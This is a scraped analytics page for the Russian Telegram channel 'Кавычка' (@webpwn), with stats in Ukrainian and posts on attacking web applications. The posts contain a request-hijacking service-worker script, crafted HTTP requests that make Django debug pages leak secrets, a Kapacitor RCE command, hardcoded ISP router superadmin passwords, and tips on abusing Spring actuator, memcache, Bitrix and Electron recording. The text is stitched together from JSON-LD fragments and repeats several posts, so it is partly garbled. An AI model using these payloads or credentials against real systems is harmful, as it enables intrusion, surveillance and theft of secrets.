Канал Кавычка (@webpwn) у мовному сегменті Російська є активним учасником. На даний момент спільнота об'єднує 16 374 підписників, посідаючи 6 098 місце в категорії Технології та додатки та 41 758 місце у регіоні Росія.
📊 Показники аудиторії та динаміка
З моменту свого створення невідомо, проект продемонстрував стрімке зростання, зібравши аудиторію у 16 374 підписників.
За останніми даними від 16 квітня, 2025, канал демонструє стабільну активність. Хоча за останні 30 днів спостерігається зміна кількості учасників на 127, а за останні 24 години на 0, загальне охоплення залишається високим.
Статус верифікації: Не верифікований
Рівень залученості (ER): Середній показник залученості аудиторії становить 0%. Протягом перших 24 годин після публікації контент зазвичай збирає N/A% реакцій від загальної кількості підписників.
Охоплення публікацій: В середньому кожен допис отримує 0 переглядів. Протягом першої доби публікація в середньому набирає 0 переглядів.
Реакції та взаємодія: Аудиторія активно підтримує контент: середня кількість реакцій на один пост – 0.
📝 Опис та контентна політика
Автор описує ресурс як майданчик для висловлення суб'єктивної думки: “Практическая безопасность. Уязвимости и атаки на веб-приложения.
Чат @WebPwnChat
Только авторский контент, без репостов и рекламы (простите).
Вместо лайка:
https://t.me/webpwn?boost
Платный канал:
https://t.me/tribute/app?startapp=s2Vr”
Завдяки високій частоті оновлень (останні дані отримано 17 квітня, 2025), канал підтримує актуальність та високий рівень охоплення публікацій. Аналітика показує, що аудиторія активно взаємодіє з контентом, що робить його важливою точкою впливу в категорії Технології та додатки.
\n\nПри следующем посещении все js’ки будут alert’тить.\n\nА вот если какой-то контент доступен только с помощью метода POST и тебе его нужно оттуда подгрузить js, то можно просто заменить любой запрос на странице (назовем его intercept), на наше событие:\n\nself.addEventListener('fetch', event => {\n const url = '/api/user';\n if(event.request.url.endsWith('/intercept'))\n event.respondWith(fetch(url, {\n method : 'POST',\n mode : 'no-cors',\n credentials: 'include'\n }));\n});\n\nИ вместо , будет содержимое POST-запроса\n\n>","datePublished":"2022-11-09T10:37:06Z","dateModified":"2022-11-09T10:37:06Z","author":{"@type":"Organization","name":"Кавычка","url":"https://telemetr.io/uk/channels/1045163505-webpwn","image":"https://img.tlmtr.io/c/18JoLT/197281189050653?ty=x"},"publisher":{"@type":"Organization","name":"Кавычка","url":"https://telemetr.io/uk/channels/1045163505-webpwn","image":"https://img.tlmtr.io/c/18JoLT/197281189050653?ty=x"},"commentCount":37,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":9533},{"@type":"InteractionCounter","interactionType":"https://schema.org/ShareAction","userInteractionCount":279},{"@type":"InteractionCounter","interactionType":"https://schema.org/CommentAction","userInteractionCount":37}]}},{"@type":"ListItem","position":17,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/uk/channels/1045163505-webpwn/posts/337","url":"https://telemetr.io/uk/channels/1045163505-webpwn/posts/337","mainEntityOfPage":"https://telemetr.io/uk/channels/1045163505-webpwn/posts/337","headline":"Приложения на Django в debug режиме раскрывают содержимое environment переменных при необработанном исключени…","articleBody":"Приложения на Django в debug режиме раскрывают содержимое environment переменных при необработанном исключении.\nНесмотря на наличие автоматического сокрытия значений, для переменных соответствующих регулярному выражению API|TOKEN|KEY|SECRET|PASS|SIGNATURE, часто это приводит к утечкам через нестандартные имена переменных.\n\nЕсли обнаружить debug режим можно просто обратившись к несуществующей странице, то вызвать exception иногда бывает проблематично. Даже с раскрытием существующих в приложении путей через 404-ую страницу.\nНо существуют и более универсальные подходы.\n\nПример 1\nНестандартные символы в Host. Правда с учетом облачных сервисов этот вариант срабатывает редко.\n\nGET / HTTP/1.1\nHost: '\"\n\nInvalid HTTP_HOST header: '\\'\"'. The domain name provided is not valid according to RFC 1034/1035.\n\nПример 2\nИспользование большего количества переменных в POST, чем указано в настройке DATA_UPLOAD_MAX_NUMBER_FIELDS (по умолчанию 1000).\nДля эксплуатации необходимо найти любой роут, поддерживающий POST запросы, и в редких случаях получить валидное значение CSRF токена на странице.\n\nPOST / HTTP/1.1\nHost: localhost\nContent-Type: application/x-www-form-urlencoded\nCookie: csrftoken=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa;\nContent-Length: 3093\n \ncsrfmiddlewaretoken=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa&x=&x=&x=&x=[..1000 раз..]&x=&x=&x=","datePublished":"2022-08-11T10:37:01Z","dateModified":"2022-08-11T10:37:01Z","author":{"@type":"Organization","name":"Кавычка","url":"https://telemetr.io/uk/channels/1045163505-webpwn","image":"https://img.tlmtr.io/c/18JoLT/197281189050653?ty=x"},"publisher":{"@type":"Organization","name":"Кавычка","url":"https://telemetr.io/uk/channels/1045163505-webpwn","image":"https://img.tlmtr.io/c/18JoLT/197281189050653?ty=x"},"commentCount":9,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":7755},{"@type":"InteractionCounter","interactionType":"https://schema.org/ShareAction","userInteractionCount":148},{"@type":"InteractionCounter","interactionType":"https://schema.org/CommentAction","userInteractionCount":9}]}},{"@type":"ListItem","position":18,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/uk/channels/1045163505-webpwn/posts/336","url":"https://telemetr.io/uk/channels/1045163505-webpwn/posts/336","mainEntityOfPage":"https://telemetr.io/uk/channels/1045163505-webpwn/posts/336","headline":"Один из способов узнать, что через какой-то веб-сервер проксируется Apache, это отправить ему заголовок Max-F…","articleBody":"Один из способов узнать, что через какой-то веб-сервер проксируется Apache, это отправить ему заголовок\nMax-Forwards: 0\nВ ответе будет ошибка.\n\n>","datePublished":"2022-08-09T10:37:01Z","dateModified":"2022-08-09T10:37:01Z","author":{"@type":"Organization","name":"Кавычка","url":"https://telemetr.io/uk/channels/1045163505-webpwn","image":"https://img.tlmtr.io/c/18JoLT/197281189050653?ty=x"},"publisher":{"@type":"Organization","name":"Кавычка","url":"https://telemetr.io/uk/channels/1045163505-webpwn","image":"https://img.tlmtr.io/c/18JoLT/197281189050653?ty=x"},"commentCount":16,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":7257},{"@type":"InteractionCounter","interactionType":"https://schema.org/ShareAction","userInteractionCount":114},{"@type":"InteractionCounter","interactionType":"https://schema.org/CommentAction","userInteractionCount":16}]}},{"@type":"ListItem","position":19,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/uk/channels/1045163505-webpwn/posts/335","url":"https://telemetr.io/uk/channels/1045163505-webpwn/posts/335","mainEntityOfPage":"https://telemetr.io/uk/channels/1045163505-webpwn/posts/335","headline":"Kapacitor - это система обработки данных с открытым исходным кодом, которая умеет обрабатывать метрики из Inf…","articleBody":"Kapacitor - это система обработки данных с открытым исходным кодом, которая умеет обрабатывать метрики из InfluxDB и является частью TICK-стека. Из коробки умеет в RCE, если торчит наружу.\n\nДля тестов:\ndocker run --rm --net=host -it influxdb:1.8\ndocker run --rm -it --net=host -e KAPACITOR_INFLUXDB_0_URLS_0=http://127.0.0.1:8086 kapacitor\n\n./kapacitor_rce.sh 172.17.0.3\n\n>","datePublished":"2022-07-25T10:37:06Z","dateModified":"2022-07-25T10:37:06Z","author":{"@type":"Organization","name":"Кавычка","url":"https://telemetr.io/uk/channels/1045163505-webpwn","image":"https://img.tlmtr.io/c/18JoLT/197281189050653?ty=x"},"publisher":{"@type":"Organization","name":"Кавычка","url":"https://telemetr.io/uk/channels/1045163505-webpwn","image":"https://img.tlmtr.io/c/18JoLT/197281189050653?ty=x"},"commentCount":1,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":14067},{"@type":"InteractionCounter","interactionType":"https://schema.org/ShareAction","userInteractionCount":96},{"@type":"InteractionCounter","interactionType":"https://schema.org/CommentAction","userInteractionCount":1}]}},{"@type":"ListItem","position":20,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/uk/channels/1045163505-webpwn/posts/334","url":"https://telemetr.io/uk/channels/1045163505-webpwn/posts/334","mainEntityOfPage":"https://telemetr.io/uk/channels/1045163505-webpwn/posts/334","headline":"Druid Monitor для отслеживания состояния проектов на Java /druid/weburi.html >","articleBody":"Druid Monitor для отслеживания состояния проектов на Java\n/druid/weburi.html\n\n>","datePublished":"2022-07-21T10:37:06Z","dateModified":"2022-07-21T10:37:06Z","author":{"@type":"Organization","name":"Кавычка","url":"https://telemetr.io/uk/channels/1045163505-webpwn","image":"https://img.tlmtr.io/c/18JoLT/197281189050653?ty=x"},"publisher":{"@type":"Organization","name":"Кавычка","url":"https://telemetr.io/uk/channels/1045163505-webpwn","image":"https://img.tlmtr.io/c/18JoLT/197281189050653?ty=x"},"commentCount":14,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":9433},{"@type":"InteractionCounter","interactionType":"https://schema.org/ShareAction","userInteractionCount":33},{"@type":"InteractionCounter","interactionType":"https://schema.org/CommentAction","userInteractionCount":14}]}}]}
Роутер от провайдера
Для меня было откровением, когда я подключил интернет, сменил дефолтный пароль от админа, а оказалось, что есть еще "суперадмин".
В моем случае, в роутере от МГТС, был следующий root:
mgts;mtsoao
На Ростелекоме (в частности, на роутерах от huawei), бывают следующие пары логинов и паролей:
telecomadmin;admintelecomtelecomadmin;NWTF5x%RaK8mVbDtelecomadmin;NWTF5x%telecomadmin;nE7jA%5m
/var/run/docker.sock
Видишь docker.sock - можно поиграть в пост-эксплуатацию, выполняя команды. Вот пример монтирования файловой системы и выполнения реверс-шелла.
В nginx есть забавный заголовок - X-Accel-Redirect
Служит для доступа к internal локейшенам для внутреннего перенаправления запросов от веб-сервера к backend-серверу, в частности, используется для эффективной отдачи файлов юзерам.
Вместо того чтобы nginx самостоятельно обслуживать файл, он делегирует задачу на backend. Это позволяет использовать nginx как прокси-сервер для статических файлов (короч освобождает его ресурсы и повышает производительность).
В Apache и lighttpd есть подобный X-Sendfile
Если в какой-то атаке, например в CRLF мы сможем его контролировать, то эту фичу можно использовать как обход закрытых директорий или как выход из директории.
Инфа и примеры: тыц, тыц, тыц, тыц, тыц
Есть такая штука для хайлоада - MinIO
Объектное хранилище с открытым исходным кодом на Go.
Забавно, как POST запрос на ручку /minio/bootstrap/v1/verify раскрывает его секреты.
Бага прогремела (CVE-2023-28432) в Китае (вот разбор), а у нас чет не встречал, пока сам не наткнулся.
Снова про #1С
Как пишут в документации: "Внешние обработки представляют собой обработки, которые не входят в состав прикладного решения и хранятся в отдельных файлах с расширением *. epf.".
Так же пишут: "В режиме 1С:Предприятие внешнюю обработку можно запустить на выполнение, открыв ее как любой другой файл, хранящийся на диске."
В правом верхнем углу нажимаем на "бутерброд" -> Файл -> Открыть.
Выбираем наш epf и жмём "ок".
Но только 1С может быть не только под Windows, но и под Linux. Поэтому в коллекцию еще один шелл, который универсальный и под любую операционную систему.
>
#bitrix 🚨🚨🚨
Уязвимость модуля landing системы управления содержимым сайтов (CMS) 1С-Битрикс: Управление, позволяющая нарушителю выполнить команды ОС на уязвимом узле, получить контроль над ресурсами и проникнуть во внутреннюю сеть.
Bitrix > 23.850.0
RCE, CVSS 10/10
Удаляем модуль landing, если не используется. Обновляем до версии 23.850.0 и выше, если используется.
BDU:2023-05857Че, пацаны, анимэ?
#bitrix
Карочи, в админку в битриксе иногда можно зайти просто зарегистрировавшись.
Но у многих кнопка регистрации вовсе отсутствует, но это не мешает вызвать стандартные формы:
Наличие форм, кстати, тоже не обязательно, достаточно разгадать капчу (если она вообще есть) и отправить POST-запрос на регу.
Помимо стандартных путей, существуют еще demo-проекты:
HTTP Request Splitting vulnerabilities exploitation c конференции offzone.
Еще раз о нюансах использования $uri в конфигах nginx с примерами эксплуатации.
Первый кейс эксплуатации такого миссконфига в mail.yandex.ru, где через похожую на CSRF-атаку украли весь запрос с фронтенда (включая куки жертвы) записав их подпись письма - в самое сердечко, просто потрясающе!
#electron
Через XSS или открытие стороннего url (контролируемый атакующим), можно записать стрим с экрана, камеры, аудио.
Даже висит ишью, https://github.com/electron/electron/issues/19017.
Основная проблема в том, что в электроне всевозможные пермишены включены по умолчанию. Это значит что можно вызывать navigator.getUserMedia для доступа к устройствам записи аудио/видео.
Для изменения этой ситуации есть специальный метод, setPermissionRequestHandler, но еще не видел, что бы кто-то из разработчиков этим озаботился.
Единственная защита которую многие используют, это запрет на изменения location в текущем окне. Но часто забывают про изменения location во всплывающих окнах. Так же никто не застрахован от xss или использования кастомной схемы. В эту же кучу попадают приложения разрешающие использовать и делиться js-кодом. (Aka Postman)
PoC
Другие настройки:
- для записи видео с камеры:
const constraints = {audio: false, video: true};
- для записи микрофона:
const constraints = {audio: true, video: false};
Memcache классный, потому что находится на порту 11211 и работает как по TCP, так и по UDP. И часто забывают закрыть именно UDP порт.
До того как это стало мейнстримом, и его начали юзать для амплификации в DDoS атаках, раза три сдавал в багбаунти MailRu.
Ценность/импакт - это key-value база данных, часто кэшируют данные юзеров, в том числе сессии, пароли.
Юзаю этот дампер, скорее всего на гитхабе уже есть кайфовее.
>
rsvgёb
Есть librsvg — либа в целом надежная, написана на rust. Она парсит svg и умеет их рендерить в png.
Особенность в том, что в svg можно встраивать обычные растровые изображения (через <image xlink:href="data:...>). Для их парсинга там используется либа libgdk-pixbuf, она написана на C.
libgdk-pixbuf умеет поточно читать изображения и из-за этого есть баг: если изображение не совсем до конца дописано, то часть буфера с данными останется неинициализированным, а ошибки настоящей иногда не происходят. В результате при парсинге svg в превьюху может попасть память приложения. Чем-то похожа на gifoёb.
Эксплойт прилагается.
>
Ценная штука - actuator.
Как правило, ценность в зависимости от того, что в нем находится:
/actuator/env - показывает переменные окружения, при отправке POST запроса (в виде JSON, если Spring Boot 2), умеет в RCE или утечку данных.
/actuator/heapdump - моментальный снимок памяти процесса, разумеется с чувствительной информацией, такой как креды подключения или чьи-то сессии или sql запросы
/actuator/jolokia - роут для управления Jolokia через HTTP, смотреть в jolokia-exploitation-toolkit/actuator/gateway - позволяет писать свои роуты к actuator’у, эксплуатируя как SSRF, так и RCE
[1], [2], [3]
#api #params #tool
Помимо брутфорса директорий, на проекте также важно находить и проверять скрытые параметры. Разработчики могли оставить функции для их обработки на сервере, но на клиентской части код удалить.
Также может возникать уязвимость Mass Assignment, где разработчик создал структуру, а злоумышленник может её заполнить, угадав названия полей с помощью перебора.
public class User {
private String userid;
private String password;
private String email;
private boolean isAdmin;
}
Чтобы правильно и эффективно находить такие вещи, нам нужен подход или утилита. Самые известные вот эти две: Param Miner и Arjun
Первая это плагин для BurpSuite. Вторая — консольная утилита на Python.
Относительно недавно, появилась новая консольная утилита x8
Она написана на языке Rust, разработчиком является багхантер @sh1y0
Около 40% уязвимостей на h1 он нашёл с её использованием
К слову, багхантеры за рубежом не стесняются встраивать её в свои конвейеры для поиска уязвимостей.
На мой взгляд, данная тула наиболее эффективна, и сейчас мы разберёмся почему.
1. Arjun, в отличие от x8, имеет фиксированное значение параметров при брутфорсе (по умолчанию 500).
Это значит, что в запросе из вордлиста будут отсылаться сразу 500 параметров:
/?param1=test¶m2=test&...¶m500=test
Проблема здесь заключается в том, что многие серверы будут отдавать 414 URI Too Long, либо банально игнорировать последние 200 параметров. Таким образом, даже если в вашем текстовом файле есть нужный параметр — он не будет найден.
2. Ещё одним важным отличием являются функции сравнения ответов на странице.
Arjun сохраняет тело первого ответа и сравнивает с ответом нового запроса. Если есть разница — выводит сообщение о том что параметр влияет на ответ.
Естественно, проблема здесь очевидна, содержимое в ответе может быть всегда динамическим. Например, в теле ответа иногда встроен datetime.
x8 лишён данной проблемы, из-за наличия специальных тестовых запросов, которые нужны для выявления динамических строк — исключая их таким образом из поиска.
HTTP/1.1 200 OK
Content-Length: 18
<html>
- Time 13:36:23
<id="test">
Как видно из примера, строка которая содержит время, исключена и помечена как динамическая.
HTTP/1.1 200 OK
Content-Length: 37
<html>
- Time 13:37:48
+ <id="admin_param">
Здесь x8 понимает, что параметр найден из-за изменений в теге id.
3. Arjun поддерживает методы только GET и POST, а Param Miner не умеет искать рекурсивным поиском.
Кроме того, в x8 есть гибкая настройка отправки параметров — концепция шаблонов и injection pointов, которая отсутствует в других инструментах.
Вообще, автор создал табличку, где сравнивает все три решения sh1yo.art/x8stats/
Так можно оценить эффективность работы на реальных сайтах.
Пример использования: x8 -u "https://example.com/" -w <wordlist>
Service Worker - это скрипт, запускаемый браузером в фоновом процессе. Думаю, еще не самая используемая технология пентестерами, а ведь с помощью нее можно придумать какую-нибудь интересную эксплуатацию уязвимостей. Большинство использует как кэш в твоем браузере, а кто-то, наверное, всякие гадости делает?
Чтобы посмотреть, что у тебя крутится-вертится, нужно открыть chrome://serviceworker-internals/. Если ты активный пользователь интернета, будешь неприятно удивлен
Например, вот логика простого перехватчика запросов, которые заканчиваются на js. Если происходит fetch (а это даже просто подключаемый js на страницу с помощью тега <script>, то вернется alert().
Надо разместить куда-то serviceworker.js (на имя пофиг).
И зарегать его:
<script>navigator.serviceWorker.register(‘serviceworker.js')</script>
При следующем посещении все js’ки будут alert’тить.
А вот если какой-то контент доступен только с помощью метода POST и тебе его нужно оттуда подгрузить js, то можно просто заменить любой запрос на странице (назовем его intercept), на наше событие:
Приложения на Django в debug режиме раскрывают содержимое environment переменных при необработанном исключении.
Несмотря на наличие автоматического сокрытия значений, для переменных соответствующих регулярному выражению API|TOKEN|KEY|SECRET|PASS|SIGNATURE, часто это приводит к утечкам через нестандартные имена переменных.
Если обнаружить debug режим можно просто обратившись к несуществующей странице, то вызвать exception иногда бывает проблематично. Даже с раскрытием существующих в приложении путей через 404-ую страницу.
Но существуют и более универсальные подходы.
Пример 1
Нестандартные символы в Host. Правда с учетом облачных сервисов этот вариант срабатывает редко.
GET / HTTP/1.1
Host: '"
Invalid HTTP_HOST header: '\'"'. The domain name provided is not valid according to RFC 1034/1035.
Пример 2
Использование большего количества переменных в POST, чем указано в настройке DATA_UPLOAD_MAX_NUMBER_FIELDS (по умолчанию 1000).
Для эксплуатации необходимо найти любой роут, поддерживающий POST запросы, и в редких случаях получить валидное значение CSRF токена на странице.
Kapacitor - это система обработки данных с открытым исходным кодом, которая умеет обрабатывать метрики из InfluxDB и является частью TICK-стека. Из коробки умеет в RCE, если торчит наружу.
Для тестов:
docker run --rm --net=host -it influxdb:1.8
docker run --rm -it --net=host -e KAPACITOR_INFLUXDB_0_URLS_0=http://127.0.0.1:8086 kapacitor./kapacitor_rce.sh 172.17.0.3
>